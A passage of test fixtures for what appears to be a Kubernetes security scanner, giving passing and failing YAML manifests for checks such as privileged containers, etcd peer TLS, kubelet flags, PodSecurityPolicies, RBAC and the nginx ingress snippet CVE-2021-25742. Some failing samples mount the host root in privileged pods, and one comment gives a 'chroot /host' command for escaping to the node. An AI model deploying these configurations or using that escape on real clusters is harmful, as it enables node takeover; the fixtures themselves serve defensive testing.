verbs:\n    - get\n    - update\n\n  # Allow Dashboard to get metrics from heapster.\n- apiGroups:\n    - \"\"\n  resources:\n    - services\n  resourceNames:\n    - heapster\n  verbs:\n    - proxy\n- apiGroups:\n    - \"\"\n  resources:\n    - services/proxy\n  resourceNames:\n    - heapster\n    - \"http:heapster:\"\n    - \"https:heapster:\"\n  verbs:\n    - get\n---\n# Source: kubernetes-dashboard/templates/rolebinding.yaml\n# Role binding for clusterAdminRole == false and clusterReadOnlyRole=false\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  labels:\n    app: kubernetes-dashboard\n    chart: kubernetes-dashboard-1.10.1\n    heritage: Helm\n    release: helm\n  name: helm-kubernetes-dashboard\n  namespace: default\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: Role\n  name: helm-kubernetes-dashboard\nsubjects:\n  - kind: ServiceAccount\n    name: helm-kubernetes-dashboard\n    namespace: default\n---\n# Source: kubernetes-dashboard/templates/svc.yaml\napiVersion: v1\nkind: Service\nmetadata:\n  name: helm-kubernetes-dashboard\n  labels:\n    app: kubernetes-dashboard\n    chart: kubernetes-dashboard-1.10.1\n    release: helm\n    heritage: Helm\n    kubernetes.io/cluster-service: \"true\"\nspec:\n  type: ClusterIP\n  ports:\n  - port: 443\n    targetPort: 8443\n    name: \"https\"\n  selector:\n    app: kubernetes-dashboard\n    release: helm\n---\n# Source: kubernetes-dashboard/templates/deployment.yaml\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: helm-kubernetes-dashboard\n  labels:\n    app: kubernetes-dashboard\n    chart: kubernetes-dashboard-1.10.1\n    release: helm\n    heritage: Helm\nspec:\n  replicas: 1\n  strategy:\n    rollingUpdate:\n      maxSurge: 0\n      maxUnavailable: 1\n    type: RollingUpdate\n  selector:\n    matchLabels:\n      app: kubernetes-dashboard\n      release: helm\n  template:\n    metadata:\n      labels:\n        app: kubernetes-dashboard\n        release: helm\n    spec:\n      serviceAccountName: helm-kubernetes-dashboard\n      containers:\n      - name: kubernetes-dashboard\n        image: \"k8s.gcr.io/kubernetes-dashboard-amd64:v1.10.1\"\n        imagePullPolicy: IfNotPresent\n        args:\n          - --auto-generate-certificates\n        ports:\n        - name: https\n          containerPort: 8443\n          protocol: TCP\n        volumeMounts:\n        - name: kubernetes-dashboard-certs\n          mountPath: /certs\n          # Create on-disk volume to store exec logs\n        - mountPath: /tmp\n          name: tmp-volume\n        livenessProbe:\n          httpGet:\n            scheme: HTTPS\n            path: /\n            port: 8443\n          initialDelaySeconds: 30\n          timeoutSeconds: 30\n        resources:\n          limits:\n            cpu: 100m\n            memory: 100Mi\n          requests:\n            cpu: 100m\n            memory: 100Mi\n      volumes:\n      - name: kubernetes-dashboard-certs\n        secret:\n          secretName: helm-kubernetes-dashboard\n      - name: tmp-volume\n        emptyDir: {}\n"
  },
  {
    "path": "tests/kubernetes/checks/example_KubernetesDashboard/kube-dashboard-no-image-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  labels:\n    app: kubernetes-dashboard\nspec:\n  containers:\n    - name: ccc\n"
  },
  {
    "path": "tests/kubernetes/checks/example_KubernetesDashboard/kube-dashboard-no-image-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  labels:\n    aaa: bbb\nspec:\n  containers:\n    - name: ccc\n"
  },
  {
    "path": "tests/kubernetes/checks/example_KubernetesDashboard/kubernetes-dashboard-deployment.yaml",
    "content": "# Copyright 2017 The Kubernetes Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n---\nkind: Deployment\napiVersion: apps/v1\nmetadata:\n  labels:\n    k8s-app: kubernetes-dashboard\n  name: kubernetes-dashboard\n  namespace: kubernetes-dashboard\nspec:\n  replicas: 1\n  revisionHistoryLimit: 10\n  selector:\n    matchLabels:\n      k8s-app: kubernetes-dashboard\n  template:\n    metadata:\n      labels:\n        k8s-app: kubernetes-dashboard\n    spec:\n      containers:\n        - name: kubernetes-dashboard\n          image: kubernetesui/dashboard:v2.0.0-rc7\n          imagePullPolicy: Always\n          ports:\n            - containerPort: 8443\n              protocol: TCP\n          args:\n            - --auto-generate-certificates\n            - --namespace=kubernetes-dashboard\n            # Uncomment the following line to manually specify Kubernetes API server Host\n            # If not specified, Dashboard will attempt to auto discover the API server and connect\n            # to it. Uncomment only if the default does not work.\n            # - --apiserver-host=http://my-address:port\n          volumeMounts:\n            - name: kubernetes-dashboard-certs\n              mountPath: /certs\n              # Create on-disk volume to store exec logs\n            - mountPath: /tmp\n              name: tmp-volume\n          livenessProbe:\n            httpGet:\n              scheme: HTTPS\n              path: /\n              port: 8443\n            initialDelaySeconds: 30\n            timeoutSeconds: 30\n      volumes:\n        - name: kubernetes-dashboard-certs\n          secret:\n            secretName: kubernetes-dashboard-certs\n        - name: tmp-volume\n          emptyDir: {}\n      serviceAccountName: kubernetes-dashboard\n      # Comment the following tolerations if Dashboard must not be deployed on master\n      tolerations:\n        - key: node-role.kubernetes.io/master\n          effect: NoSchedule\n"
  },
  {
    "path": "tests/kubernetes/checks/example_KubernetesDashboard/nginx-deployment-FAILED.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: my-nginx\n  labels:\n    app: kubernetes-dashboard\n    k8s-app: kubernetes-dashboard\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: kubernetes-dashboard\n        k8s-app: kubernetes-dashboard\n    spec:\n      containers:\n      - name: nginx\n        image: nginx:1.14.2\n        ports:\n        - containerPort: 80\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_KubernetesDashboard/nginx-deployment-PASSED.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: my-nginx\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n      - name: nginx\n        image: nginx:1.14.2\n        ports:\n        - containerPort: 80\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_KubletEventCapture/KubletEventCapture-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --event-qps=6\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubletEventCapture/KubletEventCapture-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kubelet\n    tier: control-plane\n  name: kubelet\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --event-qps=2\n    image: gcr.io/google_containers/kubelet-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kubelet\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubletRotateCertificates/KubletRotateCertificates-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --rotate-certificates=false\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_KubletRotateCertificates/KubletRotateCertificates-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-scheduler\n    tier: control-plane\n  name: kube-scheduler\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kubelet\n    - --rotate-certificates=true\n    image: gcr.io/google_containers/kube-scheduler-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-scheduler\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_LivenessReadiness/pod-liveness-readiness-2pods.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  labels: \n    test: liveness\n  name: liveness-exec\nspec: \n  containers: \n  - name: liveness\n    image: k8s.gcr.io/busybox\n    args:\n    - /bin/sh\n    - -c \n    - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600\n    livenessProbe: \n      exec: \n        command:\n        - cat\n        - /tmp/healthy\n      initialDelaySeconds: 5\n      periodSeconds: 5\n    readinessProbe:\n      exec:\n        command:\n        - cat \n        - /tmp/healthy\n      initialDelaySeconds: 5\n      periodSeconds: 5\n  - name: noliveness\n    image: k8s.gcr.io/busybox\n    args:\n    - /bin/sh\n    - -c\n    - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600\n\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_LivenessReadiness/pod-liveness-readiness-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  labels: \n    test: liveness\n  name: liveness-exec\nspec: \n  containers: \n  - name: liveness\n    image: k8s.gcr.io/busybox\n    args:\n    - /bin/sh\n    - -c \n    - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600\n    livenessProbe: \n      exec: \n        command:\n        - cat\n        - /tmp/healthy\n      initialDelaySeconds: 5\n      periodSeconds: 5\n    readinessProbe:\n      exec:\n        command:\n        - cat \n        - /tmp/healthy\n      initialDelaySeconds: 5\n      periodSeconds: 5\n"
  },
  {
    "path": "tests/kubernetes/checks/example_NginxIngressCVE202125742/annotation1-FAILED.yaml",
    "content": "apiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: app-ingress\n  annotations:  \n    nginx.ingress.kubernetes.io/server-snippet: |    \n      location ^~ \"/test\" {\n        default_type 'text/plain';\n        content_by_lua_block {\n          ngx.say(\"hello\");\n        }\n      }    \n    kubernetes.io/ingress.class: \"nginx\"\nspec:\n  rules:\n  - http:    \n    paths:      \n      - path: /exp        \n        pathType: Prefix        \n        backend:          \n          service:            \n            name: some-service            \n            port:              \n              number: 1234"
  },
  {
    "path": "tests/kubernetes/checks/example_NginxIngressCVE202125742/annotation2-nollua-PASSESONEFAILSONE.yaml",
    "content": "apiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: app-ingress\n  annotations:  \n    nginx.ingress.kubernetes.io/server-snippet: |    \n      location / {      \n        return 200 'OK';    \n      }  \n    kubernetes.io/ingress.class: \"nginx\"\nspec:\n  rules:\n  - http:    \n    paths:      \n      - path: /exp        \n        pathType: Prefix        \n        backend:          \n          service:            \n            name: some-service            \n            port:              \n              number: 1234"
  },
  {
    "path": "tests/kubernetes/checks/example_NginxIngressCVE202125742/annotation3-alias.yaml",
    "content": "apiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: example-ingress\n  namespace: developer\n  annotations:\n    kubernetes.io/ingress.class: nginx\n    nginx.ingress.kubernetes.io/rewrite-target: /$2\n    nginx.ingress.kubernetes.io/server-snippet: |\n      location ^~ \"/test\" {\n        default_type 'text/plain';\n        alias /var/run;\n      }\nspec:\n  rules:\n  - http:\n      paths:\n        - path: /test\n          pathType: Prefix\n          backend:\n            service:\n              name: web\n              port:\n                number: 8080"
  },
  {
    "path": "tests/kubernetes/checks/example_NginxIngressCVE202125742/noannotations-PASSED.yaml",
    "content": "apiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: app-ingress\n  annotations:  \n    kubernetes.io/ingress.class: \"nginx\"\nspec:\n  rules:\n  - http:    \n    paths:      \n      - path: /exp        \n        pathType: Prefix        \n        backend:          \n          service:            \n            name: some-service            \n            port:              \n              number: 1234"
  },
  {
    "path": "tests/kubernetes/checks/example_NoDefaultNamespace/Dev-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Namespace\nmetadata:\n  name: dev\n\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: nginx-deployment\n  namespace: dev\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n      - name: nginx\n        image: nginx:latest\n        ports:\n        - containerPort: 80\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: nginx-service\n  namespace: dev\nspec:\n  selector:\n    app: nginx\n  ports:\n  - protocol: TCP\n    port: 80\n    targetPort: 80\n  type: LoadBalancer"
  },
  {
    "path": "tests/kubernetes/checks/example_PSP/psp-most-insecure-FAILED.yaml",
    "content": "apiVersion: policy/v1beta1\nkind: PodSecurityPolicy\nmetadata:\n  name: privileged\n  annotations:\n    seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'\nspec:\n  privileged: true\n  allowPrivilegeEscalation: true\n  allowedCapabilities:\n  - '*'\n  volumes:\n  - '*'\n  hostNetwork: true\n  hostPorts:\n  - min: 0\n    max: 65535\n  hostIPC: true\n  hostPID: true\n  runAsUser:\n    rule: 'RunAsAny'\n  seLinux:\n    rule: 'RunAsAny'\n  supplementalGroups:\n    rule: 'RunAsAny'\n  fsGroup:\n    rule: 'RunAsAny'\n"
  },
  {
    "path": "tests/kubernetes/checks/example_PSP/psp-no-annotations-FAILED.yml",
    "content": "apiVersion: policy/v1beta1\nkind: PodSecurityPolicy\nmetadata:\n  name: restricted\n  annotations:\nspec:\n  privileged: false\n  allowPrivilegeEscalation: false\n  requiredDropCapabilities:\n    - ALL\n  volumes:\n    - 'configMap'\n    - 'emptyDir'\n    - 'projected'\n    - 'secret'\n    - 'downwardAPI'\n    - 'persistentVolumeClaim'\n  hostNetwork: false\n  hostIPC: false\n  hostPID: false\n  runAsUser:\n    rule: 'MustRunAsNonRoot'\n  seLinux:\n    rule: 'RunAsAny'\n  supplementalGroups:\n    rule: 'MustRunAs'\n    ranges:\n      - min: 1\n        max: 65535\n  fsGroup:\n    rule: 'MustRunAs'\n    ranges:\n      # Forbid adding the root group.\n      - min: 1\n        max: 65535\n  readOnlyRootFilesystem: false\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_PSP/psp-restricted-PASSED.yaml",
    "content": "apiVersion: policy/v1beta1\nkind: PodSecurityPolicy\nmetadata:\n  name: restricted\n  annotations:\n    seccomp.security.alpha.kubernetes.io/allowedProfileNames: 'docker/default,runtime/default'\n    apparmor.security.beta.kubernetes.io/allowedProfileNames: 'runtime/default'\n    seccomp.security.alpha.kubernetes.io/defaultProfileName:  'runtime/default'\n    apparmor.security.beta.kubernetes.io/defaultProfileName:  'runtime/default'\nspec:\n  privileged: false\n  # Required to prevent escalations to root.\n  allowPrivilegeEscalation: false\n  # This is redundant with non-root + disallow privilege escalation,\n  # but we can provide it for defense in depth.\n  requiredDropCapabilities:\n    - ALL\n  # Allow core volume types.\n  volumes:\n    - 'configMap'\n    - 'emptyDir'\n    - 'projected'\n    - 'secret'\n    - 'downwardAPI'\n    # Assume that persistentVolumes set up by the cluster admin are safe to use.\n    - 'persistentVolumeClaim'\n  hostNetwork: false\n  hostIPC: false\n  hostPID: false\n  runAsUser:\n    # Require the container to run without root privileges.\n    rule: 'MustRunAsNonRoot'\n  seLinux:\n    # This policy assumes the nodes are using AppArmor rather than SELinux.\n    rule: 'RunAsAny'\n  supplementalGroups:\n    rule: 'MustRunAs'\n    ranges:\n      # Forbid adding the root group.\n      - min: 1\n        max: 65535\n  fsGroup:\n    rule: 'MustRunAs'\n    ranges:\n      # Forbid adding the root group.\n      - min: 1\n        max: 65535\n  readOnlyRootFilesystem: false\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_PeerClientCertAuthTrue/PeerClientCertAuthTrue-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: etcd\n  namespace: should-fail\nspec:\n  hostNetwork: true\n  containers:\n    - name: \"kuku1\"\n      image: \"b.gcr.io/kuar/etcd:2.2.0\"\n      args:\n        - \"--name=etcd0\"\n        - \"--advertise-client-urls=http://10.0.0.1:2379\"\n        - \"--listen-client-urls=http://0.0.0.0:2379\"\n        - \"--listen-peer-urls=http://0.0.0.0:2380\"\n        - \"--data-dir=/var/lib/etcd/data\"\n        - \"--wal-dir=/var/lib/etcd/wal\"\n        - \"--election-timeout=1000\"\n        - \"--heartbeat-interval=100\"\n        - \"--snapshot-count=10000\"\n        - \"--max-snapshots=5\"\n        - \"--max-wals=5\"\n        - \"--initial-advertise-peer-urls=http://10.0.0.1:2380\"\n        - \"--initial-cluster=etcd0=http://10.0.0.1:2380,etcd1=http://10.0.0.2:2380,etcd2=http://10.0.0.2:2380\"\n        - \"--initial-cluster-state=new\"\n        - \"--initial-cluster-token=cluster0\"\n        - \"--peer-client-cert-auth=false\"\n      ports:\n        - name: client\n          containerPort: 2379\n          protocol: \"TCP\"\n        - name: peer\n          containerPort: 2380\n          protocol: \"TCP\"\n      resources:\n        limits:\n          cpu: \"1000m\"\n          memory: \"256Mi\"\n      volumeMounts:\n        - name: \"etcd-data\"\n          mountPath: /var/lib/etcd/data\n        - name: \"etcd-wal\"\n          mountPath: /var/lib/etcd/wal\n  volumes:\n    - name: \"etcd-wal\"\n      awsElasticBlockStore:\n        volumeID: vol-1234wal0\n        fsType: ext4\n    - name: \"etcd-data\"\n      awsElasticBlockStore:\n        volumeID: vol-1234data0\n      fsType: ext4"
  },
  {
    "path": "tests/kubernetes/checks/example_PeerClientCertAuthTrue/PeerClientCertAuthTrue-FAILED2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: etcd\n  namespace: should-fail\nspec:\n  hostNetwork: true\n  containers:\n    - name: \"kuku3\"\n      image: \"b.gcr.io/kuar/etcd:2.2.0\"\n      args:\n        - \"--name=etcd0\"\n        - \"--advertise-client-urls=http://10.0.0.1:2379\"\n        - \"--listen-client-urls=http://0.0.0.0:2379\"\n        - \"--listen-peer-urls=http://0.0.0.0:2380\"\n        - \"--data-dir=/var/lib/etcd/data\"\n        - \"--wal-dir=/var/lib/etcd/wal\"\n        - \"--election-timeout=1000\"\n        - \"--heartbeat-interval=100\"\n        - \"--snapshot-count=10000\"\n        - \"--max-snapshots=5\"\n        - \"--max-wals=5\"\n        - \"--initial-advertise-peer-urls=http://10.0.0.1:2380\"\n        - \"--initial-cluster=etcd0=http://10.0.0.1:2380,etcd1=http://10.0.0.2:2380,etcd2=http://10.0.0.2:2380\"\n        - \"--initial-cluster-state=new\"\n        - \"--initial-cluster-token=cluster0\"\n      ports:\n        - name: client\n          containerPort: 2379\n          protocol: \"TCP\"\n        - name: peer\n          containerPort: 2380\n          protocol: \"TCP\"\n      resources:\n        limits:\n          cpu: \"1000m\"\n          memory: \"256Mi\"\n      volumeMounts:\n        - name: \"etcd-data\"\n          mountPath: /var/lib/etcd/data\n        - name: \"etcd-wal\"\n          mountPath: /var/lib/etcd/wal\n  volumes:\n    - name: \"etcd-wal\"\n      awsElasticBlockStore:\n        volumeID: vol-1234wal0\n        fsType: ext4\n    - name: \"etcd-data\"\n      awsElasticBlockStore:\n        volumeID: vol-1234data0\n      fsType: ext4"
  },
  {
    "path": "tests/kubernetes/checks/example_PeerClientCertAuthTrue/PeerClientCertAuthTrue-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: etcd\n  namespace: should-pass\nspec:\n  hostNetwork: true\n  containers:\n      - name: \"kuku2\"\n        image: \"b.gcr.io/kuar/etcd:2.2.0\"\n        args:\n          - \"--name=etcd0\"\n          - \"--advertise-client-urls=http://10.0.0.1:2379\"\n          - \"--listen-client-urls=http://0.0.0.0:2379\"\n          - \"--listen-peer-urls=http://0.0.0.0:2380\"\n          - \"--data-dir=/var/lib/etcd/data\"\n          - \"--wal-dir=/var/lib/etcd/wal\"\n          - \"--election-timeout=1000\"\n          - \"--heartbeat-interval=100\"\n          - \"--snapshot-count=10000\"\n          - \"--max-snapshots=5\"\n          - \"--max-wals=5\"\n          - \"--initial-advertise-peer-urls=http://10.0.0.1:2380\"\n          - \"--initial-cluster=etcd0=http://10.0.0.1:2380,etcd1=http://10.0.0.2:2380,etcd2=http://10.0.0.2:2380\"\n          - \"--initial-cluster-state=new\"\n          - \"--initial-cluster-token=cluster0\"\n          - \"--peer-client-cert-auth=true\"\n        ports:\n          - name: client\n            containerPort: 2379\n            protocol: \"TCP\"\n          - name: peer\n            containerPort: 2380\n            protocol: \"TCP\"\n        resources:\n          limits:\n            cpu: \"1000m\"\n            memory: \"256Mi\"\n        volumeMounts:\n          - name: \"etcd-data\"\n            mountPath: /var/lib/etcd/data\n          - name: \"etcd-wal\"\n            mountPath: /var/lib/etcd/wal\n  volumes:\n    - name: \"etcd-wal\"\n      awsElasticBlockStore:\n        volumeID: vol-1234wal0\n        fsType: ext4\n    - name: \"etcd-data\"\n      awsElasticBlockStore:\n        volumeID: vol-1234data0\n        fsType: ext4"
  },
  {
    "path": "tests/kubernetes/checks/example_PeerClientCertAuthTrue/PeerClientCertAuthTrue-UNKNOWN.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  namespace: should-fail\nspec:\n  hostNetwork: true\n  containers:\n    - name: \"kuku1\"\n      image: \"b.gcr.io/kuar/etcd:2.2.0\"\n      args:\n        - \"--name=etcd0\"\n        - \"--advertise-client-urls=http://10.0.0.1:2379\"\n        - \"--listen-client-urls=http://0.0.0.0:2379\"\n        - \"--listen-peer-urls=http://0.0.0.0:2380\"\n        - \"--data-dir=/var/lib/etcd/data\"\n        - \"--wal-dir=/var/lib/etcd/wal\"\n        - \"--election-timeout=1000\"\n        - \"--heartbeat-interval=100\"\n        - \"--snapshot-count=10000\"\n        - \"--max-snapshots=5\"\n        - \"--max-wals=5\"\n        - \"--initial-advertise-peer-urls=http://10.0.0.1:2380\"\n        - \"--initial-cluster=etcd0=http://10.0.0.1:2380,etcd1=http://10.0.0.2:2380,etcd2=http://10.0.0.2:2380\"\n        - \"--initial-cluster-state=new\"\n        - \"--initial-cluster-token=cluster0\"\n        - \"--peer-client-cert-auth=false\"\n      ports:\n        - name: client\n          containerPort: 2379\n          protocol: \"TCP\"\n        - name: peer\n          containerPort: 2380\n          protocol: \"TCP\"\n      resources:\n        limits:\n          cpu: \"1000m\"\n          memory: \"256Mi\"\n      volumeMounts:\n        - name: \"etcd-data\"\n          mountPath: /var/lib/etcd/data\n        - name: \"etcd-wal\"\n          mountPath: /var/lib/etcd/wal\n  volumes:\n    - name: \"etcd-wal\"\n      awsElasticBlockStore:\n        volumeID: vol-1234wal0\n        fsType: ext4\n    - name: \"etcd-data\"\n      awsElasticBlockStore:\n        volumeID: vol-1234data0\n      fsType: ext4"
  },
  {
    "path": "tests/kubernetes/checks/example_PrivilegedContainers/nginx-deployment-PASSED.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: my-nginx\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n      - name: nginx\n        image: nginx:1.14.2\n        ports:\n        - containerPort: 80\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_PrivilegedContainers/privilegedDaemonSet-FAILED.yaml",
    "content": "# Access worker node file system from within a pod \napiVersion: apps/v1\nkind: DaemonSet\nmetadata:\n  name: privileged\nspec:\n  selector:\n    matchLabels:\n      name: privileged-container\n  template:\n    metadata:\n      labels:\n        name: privileged-container\n    spec:\n      containers:\n      - name: busybox\n        image: busybox\n        resources:\n          limits:\n            cpu: 200m\n            memory: 100Mi\n          requests:\n            cpu: 100m\n            memory: 50Mi\n        stdin: true\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - name: host-root-volume\n          mountPath: /host\n          readOnly: false\n      volumes:\n      - name: host-root-volume\n        hostPath:\n          path: /\n      hostNetwork: true\n      hostPID: true\n      restartPolicy: Always\n# And access host: kubectl exec -ti privileged-xxxxx chroot /host\n"
  },
  {
    "path": "tests/kubernetes/checks/example_PrivilegedContainers/privilegedPod-FAILED.yaml",
    "content": "# Access worker node file system from within a pod \napiVersion: v1\nkind: Pod\nmetadata:\n  name: privileged\nspec:\n  containers:\n  - name: busybox\n    image: busybox\n    resources:\n      limits:\n        cpu: 200m\n        memory: 100Mi\n      requests:\n        cpu: 100m\n        memory: 50Mi\n    stdin: true\n    securityContext:\n      privileged: true\n    volumeMounts:\n    - name: host-root-volume\n      mountPath: /host\n      readOnly: false\n  volumes:\n  - name: host-root-volume\n    hostPath:\n      path: /\n  hostNetwork: true\n  hostPID: true\n  restartPolicy: Always\n# And access host: kubectl exec -ti privileged-xxxxx chroot /host\n"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacApproveCertificateSigningRequests/clusterrole-failed-1.yaml",
    "content": "---\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-fail-1\n  namespace: test\nrules:\n- apiGroups: [\"certificates.k8s.io\"]\n  resources: [\"certificatesigningrequests/approval\"]\n  verbs: [\"update\", \"get\"]\n- apiGroups: [\"certificates.k8s.io\"]\n  resources: [\"signers\"]\n  verbs: [\"approve\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacApproveCertificateSigningRequests/clusterrole-failed-2.yaml",
    "content": "---\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-fail-2\n  namespace: test\nrules:\n- apiGroups: [\"certificates.k8s.io\"]\n  resources: [\"*\"]\n  verbs: [\"*\"]\n"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacApproveCertificateSigningRequests/clusterrole-failed-3.yaml",
    "content": "---\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-fail-3\n  namespace: test\nrules:\n- apiGroups: [\"certificates.k8s.io\"]\n  resources: [\"*\"]\n  verbs: [\"approve\"]\n- apiGroups: [\"certificates.k8s.io\"]\n  resources: [\"*/approval\"]\n  verbs: [\"update\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacApproveCertificateSigningRequests/clusterrole-passed-1.yaml",
    "content": "---\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-pass-1\n  namespace: test\nrules:\n- apiGroups: [\"*\"]\n  resources: [\"*\"]\n  verbs: [\"approve\"]\n- apiGroups: [\"*\"]\n  resources: [\"pods\"]\n  verbs: [\"update\", \"patch\", \"get\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacApproveCertificateSigningRequests/clusterrole-passed-2.yaml",
    "content": "---\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: test-should-pass-2\n  namespace: test\nrules:\n- apiGroups: [\"\", \"extensions\", \"apps\"]\n  resources: [\"*\"]\n  verbs: [\"\"]"
  },
  {
    "path": "tests/kubernetes/checks/example_RbacBindRoleBindings/clusterrole-failed-1.yaml",
